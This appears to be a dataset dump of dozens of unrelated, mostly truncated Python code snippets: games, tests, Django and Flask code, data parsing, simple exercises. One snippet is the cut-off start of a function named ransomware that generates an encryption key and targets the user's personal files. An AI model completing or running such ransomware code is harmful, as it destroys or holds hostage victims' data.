content
stringlengths
5
1.05M
import logging import Utilities, Legendaries, Dragons class card(): def __init__(self, note='', cost=0, source='', hero='', kind='', buff=0): global notes self.turn = Utilities.turn/2 self.note = note if len(notes) > 0: self.note = (self.note+' '+notes.pop()).strip() ...
import pytest from fastocrapi.extensions.textExtractor import TextExtractor from fastocrapi.extensions.filemanager import FileManager def test_get_on_root_context_must_return_status_200(client): response = client.get('/') assert response.status_code == 200 def test_post_on_convert_without_a_file_must_retu...
#!/usr/bin/python import re import time import sys import influxdb regex = '^(\d{2}:\d{2}:\d{2}\.\d{3})\s+(.*?)\s+(.*?)\s+([\.0-9]+)' pattern = re.compile(regex) client = influxdb.InfluxDBClient('192.168.99.101', 8086, 'root', 'root', 'vbox') def writePoint(timestamp, machine, metric, value): point = [ ...
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # d...
""" A MODULE CONTAINING ALL TEST CATEGORIES USED FOR DECORATORS TO UNITTEST.TESTCASE METHODS To create a new Category: Create a class that defines your category (a 'type' of category i.e. 'Applications'). Add your actual category as an uppercase static member. Next, create an internal attribute class and give it at...
class Employee: def __init__(self, name, age): self.name = name self.age = age print("Welcome") @classmethod def raise_amt(cls, amount): cls.raise_amt = amount emp1 = Employee('Abideen', 12) emp2 = Employee('Muhammed', 21) print(emp1.name)
"""empty message Revision ID: ba2456b778ca Revises: dbb2e7cfd6e5 Create Date: 2021-11-17 21:23:45.905572 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = 'ba2456b778ca' down_revision = 'dbb2e7cfd6e5' branch_labels = None depends_on = None def upgrade(): # ...
from modsim import * def make_system(beta, gamma): init = State(s=89, i=1, r=0) init /= init.sum() return System(init=init, t_end=7*14, beta=beta, gamma=gamma) from modsim import * def update_func(t, state, system): s, i, r = state.s, state.i, state.r infected = system.beta * ...
# coding: utf-8 import random import logging import threading from Node import node #Para importar a class, em vez do module logging.basicConfig(level=logging.DEBUG, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M:%S') logger = log...
# import required modules from tkinter import * import random # import custom modules import world import die import sprites def chooseSprite(): mySprite = sprites.spriteChoice('Human') return mySprite def updateSprite(): #not currently working mySprite = chooseSprite() updatedSprite =...
# -*- coding: utf-8 -*- """ ------------------------------------------------- File Name: threadedgenerator.py Description : 多线程 Author : charlesXu date: 2018/12/28 ------------------------------------------------- Change Activity: 2018/12/28: ----------------------------------------...
#!/usr/bin/env python """ https://coderwall.com/p/qawuyq/use-markdown-readme-s-in-python-modules """ from __future__ import print_function import os def md_to_rst(md): import six import pandoc # pandoc.core.PANDOC_PATH = '/path/to/pandoc' if isinstance(md, six.text_type): md = md.encode('u...
from __future__ import annotations from .constants import Error class YubiHsmError(Exception): def __init__(self, code: Error) -> None: self.code = code
import os print("*****************************************************************") print(''' ____ ____ __ __ ___ _ __ / __ \ / __ \ / / / // | | |/ / / /_/ // /_/ // /_/ // /| | | / / _, _// ____// __ // ___ | / | /_/ |_|/_/ /_/ /_//_/ |_|/_/|_| R...
import random from django.core.management.base import BaseCommand, CommandError from allies.importers import ClanImporter from allies.models import Ally from django.conf import settings class Command(BaseCommand): help = 'Scrapes allies from the heckfire API by price and page number' """ Usage: python man...
# (C) Datadog, Inc. 2020-present # All rights reserved # Licensed under a 3-clause BSD style license (see LICENSE) from datadog_checks.base import OpenMetricsBaseCheckV2 # TODO: remove `try` when we drop Python 2 try: from datadog_checks.base.checks.openmetrics.v2.scraper import OpenMetricsCompatibilityScraper ...
# https://leetcode.com/problems/single-element-in-a-sorted-array/ # You are given a sorted array consisting of only integers where every element # appears exactly twice, except for one element which appears exactly once. Find # this single element that appears only once. # Follow up: Your solution should run in O(log...
def szyfruj(): from Crypto.Hash import HMAC, SHA256 haslo = input("Podaj hasło:") bhaslo = str.encode(haslo) h = HMAC.new(bhaslo, digestmod=SHA256) dg = h.hexdigest() return dg def sprawdz(digest): from Crypto.Hash import HMAC, SHA256 haslo = input("Podaj hasło do weryfikacji:") bha...
#!/bin/py # # interpolate over data field for bottom vanes # # # import numpy as np import matplotlib matplotlib.use('Agg') import itertools import matplotlib.pyplot as plt from scipy import integrate from scipy.integrate import ode radprime=3.0 radmin=0.6 def vf(t,x): # # Vector field function # the...
CONTACT_ROLE_ABUSE = "Abuse" CONTACT_ROLE_MAINTENANCE = "Maintenance" CONTACT_ROLE_POLICY = "Policy" CONTACT_ROLE_TECHNICAL = "Technical" CONTACT_ROLE_NOC = "NOC" CONTACT_ROLE_PUBLIC_RELATIONS = "Public Relations" CONTACT_ROLE_SALES = "Sales" CONTACT_ROLE_CHOICES = ( (CONTACT_ROLE_ABUSE, "Abuse"), (CONTACT_ROLE...
# Copyright 2016-present, Facebook, Inc. # All rights reserved. # # This source code is licensed under the BSD-style license found in the # LICENSE file in the root directory of this source tree. An additional grant # of patent rights can be found in the PATENTS file in the same directory. from __future__ import absol...
from typing import Callable, Tuple from models.message import Message, MessageType _lobster_msg_types = { # Maps lobster message types to MessageType enum '1': MessageType.NEW_ORDER, '2': MessageType.MODIFY, '3': MessageType.DELETE, '4': MessageType.EXECUTE, '5': MessageType.EXECUTE, '7': ...
import tempfile import gzip from unittest import TestCase from pathlib import Path import cortex.settings as settings from cortex.utils import get_sequence_length class TestResources(TestCase): def test_FilesExist(self): for var_name in ["CORTEX_ROOT", "MINIMAP2", "VCFTOOLS_DIRECTORY"]: self....
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
import os import signal import re import struct import socket import random import test_v1 import re from common.connections import ContrailConnections #from fabric.state import connections as fab_connections #import test_v1 import traffic_tests from common.contrail_test_init import * from common import isolated_creds...
""" A module for setting up Elastcisearch spark connector. """ from hops import constants, util, hdfs, tls from hops.exceptions import RestAPIError import os def _get_elasticsearch_url(): return os.environ[constants.ENV_VARIABLES.ELASTIC_ENDPOINT_ENV_VAR] def get_elasticsearch_index(index): """ Get the...
# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # ------------------------------------------------------------------...
from helper.shapenet.shapenetMapper import desc_to_id from helper.shapenet.datareader.reader import DataReader path = "/data/Training Data/ShapeNetCore.v1" category = "plane" data_reader = DataReader(path) print(data_reader.list_archived_data(desc_to_id(category)))
"""Artificial Agents Test""" # Author: Lucas David -- <ld492@drexel.edu> # License: MIT (c) 2016 import warnings from unittest import TestCase from artificial import base, agents from artificial.base import State from artificial.searches import fringe class _S(State): @property def is_goal(self): r...
import os import torch import dgl import networkx as nx from utils import load_data, load_emb, graph_completion, draw_networkx_edge_labels from gcs_model import gcs_attention def run_gcs(args, KG, feats_org, feats_klm): # cpu for whole KG analysis args.device = torch.device("cpu") if KG.number_of_nodes()...
# coding: utf-8 """ SCORM Cloud Rest API REST API used for SCORM Cloud integrations. # noqa: E501 OpenAPI spec version: 2.0 Contact: systems@rusticisoftware.com Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six class Static...
# Copyright 2016 Cloudbase Solutions Srl # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless r...
""" Layer base class functionality. Notes: o Layer needs to have all its parametes listed in "parameters". o The following rules need to be observed while declaring parameters in any exteded class: 1. The parameter name in the parameters list should exactly match the variable name. 2. The derivatibe ...
import os import flask import requests import google.oauth2.credentials import google_auth_oauthlib.flow from flask_restful import Resource from ika_web.app.api.database.models import Credential import sys SCOPES = [ "https://www.googleapis.com/auth/gmail.readonly", "https://www.googleapis.com/auth/gmail.label...
#!/usr/bin/env python """ Name: Filter and Convert Fetched Data from OpenSky Network Author: Harris Hollevas Copyright: University of Liverpool © 2021 License: MIT Version: 1.0 Status: Operational Description: The source code performs a filter and conversion of data ready for analysis. """ import sys, csv, pytz imp...
import json import mimetypes import typing as T from pathlib import Path from .logger import Network import aiohttp class fetch: @staticmethod async def http_post(url, data_map=None): session = aiohttp.ClientSession() response = await session.post(url, json=data_map) data = await resp...
from trac.admin.console import TracAdmin from trac.util.text import printout, printerr import sys if __name__ == "__main__": if len(sys.argv) != 2: printerr("Usage: %s <path>\nSupply the path where to create the test environment" % (sys.argv[0])) sys.exit(-1) admin = TracAdmin...
from django.contrib.auth.views import LoginView from emp_main.views import EMPBaseView from .forms import AuthenticationForm class EMPLoginView(LoginView, EMPBaseView): template_name = "emp_django_authenticator/login.html" form_class = AuthenticationForm redirect_authenticated_user=False
from setuptools import setup with open("README.md", "r") as fh: long_description = fh.read() setup( name="allegroOBE", version="0.0.1", description="Tool for Allegro offers batch editing.", py_modules=["allegroOBE"], package_dir={"": "src"}, classifiers=[ "Programming Language :: P...
import unittest from pathlib import Path import kfp from kfp.dsl import PipelineParam from databricks import CreateClusterOp, DeleteClusterOp class TestCreateClusterOp(unittest.TestCase): def test_databricks_create_cluster_without_k8s_or_cluster_name(self): def my_pipeline(): CreateClusterOp( ...
from setuptools import setup setup(name='custom_envs', version='0.1')
from poly_py_tools.site.manage_intercom import ManageIntercom class DisableIntercom(ManageIntercom): def alert_value(self): return "" def message(self): print("Intercom disabled for {}.".format(self.container['<args>']['<site>']))
from led_controller import * import pwm_controller
__all__ = [ "VarNotebook" , "VarCombobox" , "VarTk" , "VarLabel" , "VarToplevel" , "VarButton" , "VarLabelFrame" , "VarCheckbutton" , "VarMenu" , "VarTreeview" ] from six.moves.tkinter import ( Tk, Menu, Label, Toplevel, Button, LabelFrame, Checkbutton, Variable as ...
import torch import torchaudio import numpy as np class MCDMetric(torch.nn.Module): def __init__(self, sr=16000): super().__init__() # 5 ms windows, taken from # "SYNTHESIZER VOICE QUALITY OF NEW LANGUAGES CALIBRATED WITH MEAN MEL CEPSTRAL # DISTORTION", Kominek et al. ...
# -*- coding: utf-8 -*- # Generated by Django 1.9.8 on 2017-11-04 11:41 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('core', '0005_auto_20171104_2032'), ] operations = [ migrations.RemoveField( ...
from __future__ import absolute_import from __future__ import division from __future__ import print_function import shutil import sys import tempfile from observations.r.chemo_thc import chemo_thc def test_chemo_thc(): """Test module chemo_thc.py by downloading chemo_thc.csv and testing shape of extracted d...
import re import json import urllib2 TRAVIS_REPO_ID = '10768510' GITHUB_REPO = 'vitasdk/autobuilds' TRAVIS_API = 'https://api.travis-ci.org/repos/' + TRAVIS_REPO_ID GITHUB = 'https://github.com' GITHUB_REL = GITHUB + '/' + GITHUB_REPO + '/releases' GITHUB_TAG = GITHUB_REL + '/tag' TAG_FORMAT = '%(branch)s-%(os)s-v%(b...
import unittest import filecmp import os from PIL import Image import gciso # A Super Smash Bros. Melee NTSC 1.02 ISO! # md5: 0e63d4223b01d9aba596259dc155a174 ISO_PATH = os.environ["GCISO_TEST_ISO_PATH"] print("Using ISO '{}' for testing.".format(ISO_PATH)) class IsoFileTestCase(unittest.TestCase): def setUp(s...
#!/usr/bin/python import sys from sense_hat import SenseHat text = "Hello" colorRed = 255 colorGreen = 0 colorBlue = 0 for index in range(len(sys.argv)): next = index+1 if next >= len(sys.argv): break if "--text" == sys.argv[index]: text = sys.argv[next] elif "--color-red" == sys.argv[index]: colorRed = in...
import subprocess import os import pwd import logging class Zone: """ 需要配置 rndc 配置 /etc/rndc.conf key "rndc-key" { algorithm hmac-md5; secret "h/NHws6RgIeZhS4p186XSg=="; }; options { default-key "rndc-key"; default-server 127.0.0.1; default-port 953; }; """...
# -*- coding: utf-8 -* from django.conf import settings # Valid media extensions, edit at your own risk valid_extensions = { 'img': getattr(settings, 'VALID_IMG_EXT', ('.gif', '.jpg', '.jpeg', '.png')), 'vid': getattr(settings, 'VALID_VID_EXT', ('.mov', '.mp4', '.m4v', '.flv', '.webm')), 'aud': getattr(set...
class ToGFA2: @property def from_coords(self): """GFA2 positions of the alignment on the **from** segment. Returns ------- (Integer|Lastpos,Integer|Lastpos) begin and end Raises ------ gfapy.ValueError If the overlap is not specified. gfapy.RuntimeError If the segme...
# -*- coding: utf-8 -*- from django.conf import settings from django.contrib.contenttypes.models import ContentType from django.core.exceptions import ValidationError from django.core.urlresolvers import reverse from django.db.models import Count, Prefetch from django.utils.translation import ugettext_lazy as _ from r...
from core.classifiers import BERTSubclassPredictor class SubclassBasedIndexSelector(): _subclass_predict_fn = BERTSubclassPredictor().predict_subclasses def __init__(self, indexes): self._indexes = indexes def select(self, text, n=3): subclasses = self._subclass_predict_fn(text) subclasses = subclasses[:n...
from math import fabs print('-=-' * 20) print('Analisador de Triângulos 2.0') print('-=-' * 20) primeiroSeg = float(input('Primeiro segmento: ')) segundoSeg = float(input('Segundo segmento: ')) terceiroSeg = float(input('Terceiro segmento: ')) if ((fabs(segundoSeg - terceiroSeg) < primeiroSeg < (segundoSeg + terc...
def product_sans_n(nums): if nums.count(0)>=2: return [0]*len(nums) elif nums.count(0)==1: temp=[0]*len(nums) temp[nums.index(0)]=product(nums) return temp res=product(nums) return [res//i for i in nums] def product(arr): total=1 for i in arr: if i==0: ...
from rest_framework.response import Response from rest_framework.serializers import Serializer from rest_framework.views import APIView from rest_framework.generics import ListAPIView, RetrieveAPIView from rest_framework import permissions from datetime import datetime, timezone, timedelta from .models import Listing f...
class MythrilBaseException(Exception): pass class CompilerError(MythrilBaseException): pass class UnsatError(MythrilBaseException): pass class NoContractFoundError(MythrilBaseException): pass class CriticalError(MythrilBaseException): pass
from models.cliente import Cliente from models.conta import Conta jeferson: Cliente = Cliente('Jeferson Geovani', 'jeffolivera01@gmail.com', '123.456.789-01', '15/08/1993') michelen: Cliente = Cliente('Michelen Voigt', 'chelyvoigtoliveira@gmail.com', '123.456.789-02', '09/01/1994') #print(jeferson) #print(michelen) ...
from django.contrib.auth.models import AbstractUser from django.db import models from django.urls import reverse from django.utils.translation import gettext_lazy as _ from multiselectfield import MultiSelectField class TimeStampedModel(models.Model): created_at = models.DateTimeField(auto_now_add=True) class...
from pepper.framework import * from pepper import config class TrackApp(AbstractApplication, StatisticsComponent, TrackComponent, DisplayComponent, ObjectDetectionComponent, FaceRecognitionComponent, SpeechRecognitionComponent): def __init__(self, backend): super(TrackApp, self).__init__(backend) if __n...
# -*- coding: utf-8 -*- """UnitTests utils.""" def read_file(path): """Read file.""" with open(path) as _file: return _file.read()
# -*- coding: utf-8 -*- # Generated by Django 1.11.4 on 2018-03-21 14:22 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('company', '0017_company_quote_limit'), ] operations = [ migrations.AlterFie...
#!/usr/bin/env python import asyncio import websockets async def hello(uri): async with websockets.connect(uri) as websocket: await websocket.send("Hello world!") asyncio.get_event_loop().run_until_complete( hello('ws://ec2-18-225-10-77.us-east-2.compute.amazonaws.com:8765'))
#!/usr/bin/env python """ This is pytest for aiida_twinpy.common.kpoints. """ from copy import deepcopy from aiida.cmdline.utils.decorators import with_dbenv from aiida.common.extendeddicts import AttributeDict from aiida.orm import load_node, Dict, Str from aiida.plugins import WorkflowFactory from aiida.engine impo...
import fresh_tomatoes import media # Create instances of Move class toy_story = media.Movie("Toy Story", "A story of a boy and his toys that come to life", "https://upload.wikimedia.org/wikipedia/en/1/13/Toy_Story.jpg", "https://www.youtube.com/wa...
# Copyright 2018 Contributors to Hyperledger Sawtooth # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law ...
SINE = 0 SQUARE = 1 TRI = 2 UP = 3 DOWN = 4 ARB0 = 100 ARB1 = 101 ARB2 = 102 ARB3 = 103 ARB4 = 104 ARB5 = 105 ARB6 = 106 ARB7 = 107 ARB8 = 108 ARB9 = 109 ARB10 = 110 ARB11 = 111 ARB12 = 112 ARB13 = 113 ARB14 = 114 ARB15 = 115
#!/usr/bin/python # -*- coding: utf-8 -*- # (c) 2013, Adam Miller (maxamillion@fedoraproject.org) # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 ...
"""Created audit table Revision ID: 1436c7623396 Revises: 62d078d55e88 Create Date: 2020-05-29 17:58:18.104900 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '1436c7623396' down_revision = '62d078d55e88' branch_labels = None depends_on = None def upgrade(): ...
__author__ = 'LeoDong' from django import template from util import config register = template.Library() @register.filter(name='css_type_for_decision') def css_type_for_decision(value): type_map = { config.const_IS_TARGET_MULTIPLE: "-yellow", config.const_IS_TARGET_SIGNLE: "-pink", confi...
# $Id: GCCDD.py,v 1.1 2001/11/05 19:53:33 zeller Exp $ # Using delta debugging on GCC input import DD import commands import string class MyDD(DD.DD): def __init__(self): DD.DD.__init__(self) def _test(self, deltas): # Build input input = "" for (index, character) in d...
#!/usr/bin/env python3 from __future__ import annotations from itertools import chain from pathlib import Path import dotpy dotpy.init(__name__) # TODO extremely meh from dotpy import * debug = False def gh(x: str) -> str: return f'https://github.com/{x}' def bb(x: str) -> str: return f'https://beepb00p....
from pyopenms import FineIsotopePatternGenerator, EmpiricalFormula import numpy as np import similaritymeasures from matplotlib import pyplot as plt from icecream import ic from scipy.spatial.distance import euclidean from fastdtw import fastdtw, dtw import time PROTON_MASS = 1.0078250319 def peak_isotope(formula: o...
# Generated by Django 2.2.10 on 2021-02-02 09:05 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ("storage", "0008_accesslog_cause"), ] operations = [ migrations.AddField( model_name="referencedpath", name="chunk_s...
# Author: walid.daboubi@gmail.com # About: Have a global view of your Github repositories with simple console command # Last review: CREATED - 07/02/2021 import requests import datetime from sqlalchemy import * from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import sessionmaker import os fr...
# -*- coding: utf-8 -*- """ parse json report """ import os import re import shutil import traceback from json import JSONDecodeError from flybirds.utils import file_helper from flybirds.utils import flybirds_log as log def parse_json_data(report_dir, rerun_report_dir=None, is_parallel=False): """ Parse the ...
from .p11i_participated_in import P11iParticipatedIn from dataclasses import dataclass @dataclass class P143iWasJoinedBy(P11iParticipatedIn): URI = "http://erlangen-crm.org/current/P143i_was_joined_by"
from flask import Flask, request, jsonify from flask_cors import CORS from flask_sqlalchemy import SQLAlchemy from flask_limiter import Limiter from flask_limiter.util import get_remote_address, get_ipaddr from sqlalchemy.dialects.mysql import VARCHAR, BIGINT, TIMESTAMP, TINYINT, LONGTEXT, DATE, DATETIME, INTEGER impor...
# THIS FILE MANANGED BY PUPPET. '''Set up logging, SOMTS-style''' import logging def setup_logger(logger_name, log_file, level=logging.INFO): '''Set up a logging instance to a file''' logger = logging.getLogger(logger_name) formatter = logging.Formatter("\t".join(['%(asctime)s ' + ...
import pya import re import json import copy import sys import os errors = 0 # Expand layers in json def expand_cfg_layers(cfg): layers = cfg["layers"] expand = [layer for layer in layers if "layers" in layers[layer]] for layer in expand: for i, (name, num) in enumerate( zip(layers[lay...
#!/usr/bin/python """ This code contains the world spawner. This file accomplishes two main goals: 1. Create and manage the objects in the gazebo world using the World() class 2. Spawn and monitor the completion of coursework tasks using the Task() class The coursework contains three tasks, and each of them are...
default_app_config = 'aether.gallery.apps.GalleryConfig'
from common.page_object import PageObject from pages.locators import FooterLocators class Footer(PageObject): """Footer containing various links, shared among many pages""" def is_loaded(self): return self._is_loaded_helper(FooterLocators.CAREERS_LINK) def navigate_to_careers(self): self....
import json from argon2 import PasswordHasher import morepath from pony.orm import db_session from webtest import TestApp as Client import conduit from conduit import TestApp as App from conduit.database import db from conduit.auth import User def setup_module(module): morepath.scan(conduit) morepath.commit...
# trainers.py - objects which learn from corpora # # Copyright (C) 2002-2013 Python Software Foundation; All Rights Reserved # Copyright 2014 Jeffrey Finkelstein. # # This file is part of sbclassifier, which is licensed under the Python # Software Foundation License; for more information, see LICENSE.txt. """ Train...
import string import DefaultTable class asciiTable(DefaultTable.DefaultTable): def toXML(self, writer, ttFont): data = self.data # removing null bytes. XXX needed?? data = string.split(data, '\0') data = string.join(data, '') writer.begintag("source") writer.newline() writer.write_noindent(string.rep...
from cachetools import cachedmethod from cachetools.keys import hashkey from functools import partial, wraps from operator import attrgetter from typing import Callable, List, TypeVar T = TypeVar("T") def cached(key: str, cache_prop: str = "cache"): def wrapper(func): return wraps(func)( cach...
import os, sys from cryptography.fernet import Fernet import socket import time def ransomware(): key = Fernet.generate_key() f = Fernet(key) if os.name == "nt": # ATTENTION! This comment line encrypts all personal files. Do not try on your own computer. #main_folder = os.environ["HOMEDRI...
# %% from nltk.corpus import stopwords import matplotlib.pyplot as plt from wordcloud import WordCloud import texthero as hero import pandas as pd # %% file = open("../dataset/CTI_Data_English_Cleaning.txt", "r", encoding='UTF-8') data = file.read() file.close() # %% words = data.split() print('Number of words in text...
class QuarantinableError(Exception): """ Exception to be raised to indicate that the survey submission requires quarantining. This should be used when there is no chance of success e.g. the submission is missing a required field. """ pass class RetryableError(Exception): """ Exception to ...
from datetime import timedelta from src.data_handler.sharable_splitter import Splitter def split_nav_list_dataset_by_end_dates(nav_dataset, train_end, test_end): """ Extract training and testing dataset from nav_dataset according to the ending date of training and testing dataset. Args: - nav...
# -*- coding: utf-8 -*- # # Copyright (c) 2018 SUNET # All rights reserved. # # Redistribution and use in source and binary forms, with or # without modification, are permitted provided that the following # conditions are met: # # 1. Redistributions of source code must retain the above copyright # noti...
from __future__ import absolute_import import unittest import yaml import os from bok_choy.web_app_test import WebAppTest from .pages.splunk_config_subpage import SplunkConfigSubPage class TestSplunkConfig(WebAppTest): def test_splunk_config(self): """ Verify a couple of the configuration options ...
import tflite_runtime.interpreter as tflite class TFLiteLoader: """ Loader for a tensorflow lite model """ def __init__(self, path: str): # Load TFLite model and allocate tensors. self.interpreter = tflite.Interpreter(model_path=path) self.interpreter.allocate_tensors() ...
num = int(input('Informe um numero entre 0 e 9999: ')) u = num // 1 % 10 # pega o ultimo numero (unidade) d = num // 10 % 10 # pega o numero referente a dezena c = num // 100 % 10 # pega o numero referente a centena m = num // 1000 % 10 # pega o numero referente ao milhar print(f'Analisando seu numero {num}') print(f'...
import socket tcp_client = socket.socket() tcp_client.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) tcp_client.bind(("", 10265)) tcp_client.listen(1) browser, ip_port = tcp_client.accept() print(ip_port, "已经连接") print(browser.recv(5000).decode()) tcp_client.close()
age_of_george = 25 count = 0 while count < 2: guess_age = int(input("Guess Age:")) if guess_age == age_of_george: print("yes, you got it") break elif guess_age > age_of_george: print("try smaller!") else: print("try bigger!") count = count + 1 else: guess_age = int(in...
'''Rewrite your pay computation with time-and-a-half for overtime and create a function called "computepay" which takes two parameters: "hours" and "rate" ''' def computepay(hr,r): try : hr = float(hr) r = float(r) # print hours of work print('Hours of work:', hr) ...